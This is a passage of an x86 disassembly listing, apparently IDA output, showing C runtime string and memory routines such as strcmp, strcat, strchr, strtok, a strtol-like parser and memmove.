		jnz	short loc_41BD99
		cmp	[ebp+var_8], eax
		jbe	short loc_41BD99


loc_41BD72:				; CODE XREF: sub_41BBBD+197j
					; sub_41BBBD+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4DB958, 22h
		jz	short loc_41BD88
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------


loc_41BD88:				; CODE XREF: sub_41BBBD+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_41BD99:				; CODE XREF: sub_41BBBD+18Dj
					; sub_41BBBD+19Cj ...
		test	edx, edx
		jz	short loc_41BDA2
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_41BDA2:				; CODE XREF: sub_41BBBD+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41BDB0
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_41BDB0:				; CODE XREF: sub_41BBBD+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41BDC0
; ---------------------------------------------------------------------------


loc_41BDB5:				; CODE XREF: sub_41BBBD+66j
					; sub_41BBBD+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BDBE
		mov	[eax], edi


loc_41BDBE:				; CODE XREF: sub_41BBBD+1FDj
		xor	eax, eax


loc_41BDC0:				; CODE XREF: sub_41BBBD+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BBBD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDC5	proc near		; CODE XREF: sub_401ACD+61CFp
					; sub_401ACD+6A10p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BDC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDDC	proc near		; CODE XREF: sub_401ACD+5981p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		nop
		call	near ptr 2680836h
		test	eax, eax
		jnz	short loc_41BDF2
		nop
		call	near ptr 2680F9Dh
		jmp	short loc_41BDF4
; ---------------------------------------------------------------------------


loc_41BDF2:				; CODE XREF: sub_41BDDC+Cj
		xor	eax, eax


loc_41BDF4:				; CODE XREF: sub_41BDDC+14j
		test	eax, eax
		jz	short loc_41BE03
		push	eax
		call	sub_4203DF
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41BE03:				; CODE XREF: sub_41BDDC+1Aj
		xor	eax, eax
		retn
sub_41BDDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE06	proc near		; CODE XREF: sub_401ACD+58D3p
					; ___:00411CA2p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420446
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41F69F
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_4204D3
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41BE06	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE40	proc near		; CODE XREF: sub_401ACD+1E82p
					; sub_401ACD+1EA1p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41BE61
		xor	eax, eax
		jmp	short loc_41BE63
; ---------------------------------------------------------------------------


loc_41BE61:				; CODE XREF: sub_41BE40+1Bj
		mov	eax, edi


loc_41BE63:				; CODE XREF: sub_41BE40+1Fj
		cld
		pop	edi
		leave
		retn
sub_41BE40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE70	proc near		; CODE XREF: sub_401ACD+870p
					; ___:0041DD1Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41BEA1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41BE9F
		jz	short loc_41BEA1
		dec	ecx
		dec	ecx


loc_41BE9F:				; CODE XREF: sub_41BE70+29j
		not	ecx


loc_41BEA1:				; CODE XREF: sub_41BE70+9j
					; sub_41BE70+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41BE70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEB0	proc near		; CODE XREF: sub_401ACD+42Fp
					; sub_401ACD+2FFDp ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41BF21
sub_41BEB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEC0	proc near		; CODE XREF: sub_401ACD+438p
					; sub_401ACD+75FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41BEDC


loc_41BECD:				; CODE XREF: sub_41BEC0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41BF0F
		test	ecx, 3
		jnz	short loc_41BECD


loc_41BEDC:				; CODE XREF: sub_41BEC0+Bj
					; sub_41BEC0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BEDC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41BF1E
		test	ah, ah
		jz	short loc_41BF19
		test	eax, 0FF0000h
		jz	short loc_41BF14
		test	eax, 0FF000000h
		jz	short loc_41BF0F
		jmp	short loc_41BEDC
; ---------------------------------------------------------------------------


loc_41BF0F:				; CODE XREF: sub_41BEC0+12j
					; sub_41BEC0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF14:				; CODE XREF: sub_41BEC0+44j
		lea	edi, [ecx-2]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF19:				; CODE XREF: sub_41BEC0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF1E:				; CODE XREF: sub_41BEC0+39j
		lea	edi, [ecx-4]


loc_41BF21:				; CODE XREF: sub_41BEB0+5j
					; sub_41BEC0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41BF46


loc_41BF2D:				; CODE XREF: sub_41BEC0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41BF98
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41BF2D
		jmp	short loc_41BF46
; ---------------------------------------------------------------------------


loc_41BF41:				; CODE XREF: sub_41BEC0+9Ej
					; sub_41BEC0+B8j
		mov	[edi], edx
		add	edi, 4


loc_41BF46:				; CODE XREF: sub_41BEC0+6Bj
					; sub_41BEC0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BF41
		test	dl, dl
		jz	short loc_41BF98
		test	dh, dh
		jz	short loc_41BF8F
		test	edx, 0FF0000h
		jz	short loc_41BF82
		test	edx, 0FF000000h
		jz	short loc_41BF7A
		jmp	short loc_41BF41
; ---------------------------------------------------------------------------


loc_41BF7A:				; CODE XREF: sub_41BEC0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF82:				; CODE XREF: sub_41BEC0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF8F:				; CODE XREF: sub_41BEC0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF98:				; CODE XREF: sub_41BEC0+72j
					; sub_41BEC0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41BEC0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41BFB0


loc_41BFA0:				; CODE XREF: sub_41BFB0+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41BFB0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BFB0	proc near		; CODE XREF: sub_401ACD+414p
					; sub_401ACD+4C3p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_41BFB6:				; CODE XREF: sub_41B900+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41BFDB


loc_41BFC8:				; CODE XREF: sub_41BFB0+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41BFA0
		test	cl, cl
		jz	short loc_41C024
		test	edx, 3
		jnz	short loc_41BFC8


loc_41BFDB:				; CODE XREF: sub_41BFB0+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_41BFE6:				; CODE XREF: sub_41BFB0+61j
					; sub_41BFB0+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41C028
		and	eax, 81010100h
		jz	short loc_41BFE6
		and	eax, 1010100h
		jnz	short loc_41C022
		and	esi, 80000000h
		jnz	short loc_41BFE6


loc_41C022:				; CODE XREF: sub_41BFB0+68j
					; sub_41BFB0+81j ...
		pop	esi
		pop	edi


loc_41C024:				; CODE XREF: sub_41BFB0+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C028:				; CODE XREF: sub_41BFB0+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41C065
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C05E
		test	ah, ah
		jz	short loc_41C022
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41C057
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C050
		test	ah, ah
		jz	short loc_41C022
		jmp	short loc_41BFE6
; ---------------------------------------------------------------------------


loc_41C050:				; CODE XREF: sub_41BFB0+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C057:				; CODE XREF: sub_41BFB0+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C05E:				; CODE XREF: sub_41BFB0+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C065:				; CODE XREF: sub_41BFB0+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41BFB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C070	proc near		; CODE XREF: sub_401ACD+1AEp
					; sub_401ACD+205p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41C0BC


loc_41C080:				; CODE XREF: sub_41C070+3Cj
					; sub_41C070+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+3]
		jnz	short loc_41C0B4
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41C080
		mov	edi, edi


loc_41C0B0:				; CODE XREF: sub_41C070+18j
					; sub_41C070+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C0B4:				; CODE XREF: sub_41C070+14j
					; sub_41C070+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C0BC:				; CODE XREF: sub_41C070+Ej
		test	edx, 1
		jz	short loc_41C0D8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		inc	ecx
		or	al, al
		jz	short loc_41C0B0
		test	edx, 2
		jz	short loc_41C080


loc_41C0D8:				; CODE XREF: sub_41C070+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		add	ecx, 2
		jmp	short loc_41C080
sub_41C070	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C0F4	proc near		; CODE XREF: sub_401ACD+B5p
					; sub_401ACD+D5p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_41C10D:				; CODE XREF: sub_41C0F4+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41C10D
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41C135
		mov	edx, dword_4DB9A4


loc_41C135:				; CODE XREF: sub_41C0F4+39j
					; sub_41C0F4+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_41C155
		test	al, al
		jz	short loc_41C155
		inc	edx
		jmp	short loc_41C135
; ---------------------------------------------------------------------------


loc_41C155:				; CODE XREF: sub_41C0F4+58j
					; sub_41C0F4+5Cj
		mov	ebx, edx


loc_41C157:				; CODE XREF: sub_41C0F4+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41C17B
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_41C177
		inc	edx
		jmp	short loc_41C157
; ---------------------------------------------------------------------------


loc_41C177:				; CODE XREF: sub_41C0F4+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_41C17B:				; CODE XREF: sub_41C0F4+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4DB9A4, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41C0F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C190	proc near		; CODE XREF: sub_409A2D+1Cp
					; sub_415221+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C1CE
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C1DB
; ---------------------------------------------------------------------------


loc_41C1CE:				; CODE XREF: sub_41C190+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41C1DB:				; CODE XREF: sub_41C190+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C190	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1E0	proc near		; CODE XREF: sub_40AFEB+88p
					; sub_40B64B+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41C294
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41C20A


loc_41C1FB:				; CODE XREF: sub_41C1E0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41C23B
		test	edi, 3
		jnz	short loc_41C1FB


loc_41C20A:				; CODE XREF: sub_41C1E0+19j
					; sub_41C1E0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41C20A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41C248
		test	ah, ah
		jz	short loc_41C243
		test	eax, 0FF0000h
		jz	short loc_41C23E
		test	eax, 0FF000000h
		jnz	short loc_41C20A


loc_41C23B:				; CODE XREF: sub_41C1E0+20j
		dec	edi
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C23E:				; CODE XREF: sub_41C1E0+52j
		sub	edi, 2
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C243:				; CODE XREF: sub_41C1E0+4Bj
		sub	edi, 3
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C248:				; CODE XREF: sub_41C1E0+47j
		sub	edi, 4


loc_41C24B:				; CODE XREF: sub_41C1E0+5Cj
					; sub_41C1E0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC
		jmp	short loc_41C27C
; ---------------------------------------------------------------------------


loc_41C260:				; CODE XREF: sub_41C1E0+75j
					; sub_41C1E0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41C29A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41C290
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC


loc_41C27C:				; CODE XREF: sub_41C1E0+7Ej
					; sub_41C1E0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41C290


loc_41C283:				; CODE XREF: sub_41C1E0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41C292
		dec	ecx
		jnz	short loc_41C283


loc_41C290:				; CODE XREF: sub_41C1E0+8Bj
					; sub_41C1E0+A1j
		mov	[edi], cl


loc_41C292:				; CODE XREF: sub_41C1E0+ABj
		pop	ebx
		pop	esi


loc_41C294:				; CODE XREF: sub_41C1E0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C29A:				; CODE XREF: sub_41C1E0+85j
					; sub_41C1E0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2A4:				; CODE XREF: sub_41C1E0+E4j
					; sub_41C1E0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41C27C


loc_41C2AC:				; CODE XREF: sub_41C1E0+7Cj
					; sub_41C1E0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41C2A4
		test	dl, dl
		jz	short loc_41C29A
		test	dh, dh
		jz	short loc_41C2F8
		test	edx, 0FF0000h
		jz	short loc_41C2E8
		test	edx, 0FF000000h
		jnz	short loc_41C2A4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2E8:				; CODE XREF: sub_41C1E0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2F8:				; CODE XREF: sub_41C1E0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41C1E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C310	proc near		; CODE XREF: sub_40BFA4+15p
					; sub_40BFA4+3Bp ...

var_3A3BFFC0	= byte ptr -3A3BFFC0h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41C330
		cmp	edi, eax
		jb	loc_41C4A8


loc_41C330:				; CODE XREF: sub_41C310+16j
		test	edi, 3
		jnz	short loc_41C34C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------


loc_41C34C:				; CODE XREF: sub_41C310+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41C364
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41C36C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41C364:				; CODE XREF: sub_41C310+46j
		jmp	dword ptr loc_41C468[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41C36C:				; CODE XREF: sub_41C310+31j
					; sub_41C310+8Ej ...
		jmp	off_41C3EC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41C380
; ---------------------------------------------------------------------------
		lodsb
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		dw 41h
; ---------------------------------------------------------------------------


loc_41C380:				; DATA XREF: sub_41C310+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C3EC	dd offset loc_41C44F	; DATA XREF: sub_41C310:loc_41C36Cr
		dd offset loc_41C43C
		dd offset loc_41C434
		dd offset loc_41C42C
		dd offset loc_41C424
		dd offset loc_41C41C
		dd offset loc_41C414
		dd offset loc_41C40C
; ---------------------------------------------------------------------------


loc_41C40C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41C414:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41C41C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41C424:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41C42C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41C434:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41C43C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41C44F:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310:off_41C3ECo
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C458	dd offset loc_41C468	; DATA XREF: sub_41C310+35r
					; sub_41C310+92r ...
		dd offset loc_41C470
		dd offset loc_41C47C
		dd offset loc_41C490
; ---------------------------------------------------------------------------


loc_41C468:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41C470:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C47C:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41C490:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C4A8:				; CODE XREF: sub_41C310+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41C4DC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41C4D0:				; CODE XREF: sub_41C310+1B1j
					; sub_41C310+208j ...
		neg	ecx
		jmp	dword ptr loc_41C59F+1[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41C4DC:				; CODE XREF: sub_41C310+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41C4F4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41C4F4+4[eax*4]
; ---------------------------------------------------------------------------


loc_41C4F4:				; CODE XREF: sub_41C310+1D6j
					; DATA XREF: sub_41C310+1DDr
		jmp	off_41C5F0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		or	ch, al
		inc	ecx
		add	[eax], ch
		lds	eax, [ecx+0]
		push	eax
		lds	eax, [ecx+0]
		mov	al, [esi+3]
